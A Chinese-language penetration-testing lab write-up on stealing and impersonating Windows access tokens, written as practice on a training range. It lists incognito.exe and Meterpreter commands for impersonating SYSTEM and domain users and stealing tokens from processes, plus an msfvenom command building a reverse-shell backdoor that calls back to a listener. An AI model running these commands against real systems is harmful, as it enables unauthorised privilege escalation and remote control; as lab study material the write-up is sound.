内网渗透 Token
本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
前言
令牌(token) 是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提
下, 访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。
令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。
所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。
令牌有很多种:
- 访问令牌(Access Token):表示访问控制操作主体的系统对象
- 会话令牌(Session Token):是交互会话中唯一的身份标识符
- 密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如 U 盾
Windows 的 的 AccessToken 有两种类型:
- Delegation Token :授权令牌,它支持交互式会话登录 (例如本地用户直接登录、远程桌面登录访问)
- Impresonation Token :模拟令牌,它是非交互的会话 (例如使用 net use访问共享文件夹)
Tips: 两种 token 只在系统重启后清除 具有 Delegation token 的用户在注销后,该 Token 将变成 Impersonation token ,依旧有效。
AccessToken 的窃取与利用
AccessToken 的窃取与利用需要 administrator 管理员权限,也就是说要提权。
窃取 AccessToken 的方法:
-
incognito.exe 程序
-
InvokeTokenManipulat.ps1 脚本
-
MSF 里的 incognito 模块
incognito
项目下载地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
这里我们必须在使用管理员打开cmd要不然有的功能会不完整。
AccessToken 的列举(需要 administrator 权限)
incognito.exe list_tokens -u
操作:模拟其他用户的令牌(复制 token)
如果要使用 AccessToken 模拟其他用户,可以使用命令
incognito.exe execute -c "完整的 Token 名" cmd.exe
例如:模拟 system 权限用户(提权至 system):
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
降权至当前用户:
incognito.exe execute -c "当前用户 token" cmd.exe
获取域普通用户
incognito.exe execute -c "moonsec\test" cmd.exe
MSF 下的 incognito
use incognito # 加载 incognito
list_tokens -u # 列出 AccessToken
getuid # 查看当前 token
impersonate_token "NT AUTHORITY\SYSTEM" # 模拟 system 用户,getsystem 命令即实现了该命令。如果要模拟其他用户,将 token 名改为其他用户即可
steal_token 1252 # 从进程窃取 token
getsystem # 提升至 system 权限
rev2self # 返回到之前的 AccessToken 权限
msfconsole 令牌实战
# msf 生成后门
msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=6666 LHOST=192.168.150.145 -f exe -o msf.exe
# 监听端口
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.150.145
set lport 6666
exploit
#进入 incognito 模块
use incognito
# 列出令牌
list_tokens -u
这里列出了两种令牌:
- Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
- Impresonation Token:模拟令牌,它是非交互的会话。
伪造令牌
impersonate_token "NT AUTHORITY\SYSTEM" # 假冒 System 的令牌
impersonate_token moonsec\\test # 假冒 moonsec\test的令牌
进程窃取令牌
# 列出进程
ps
# 窃取进程的令牌
steal_token 2508
这里我们窃取了一个 system 的权限。
返回之前的 token
rev2self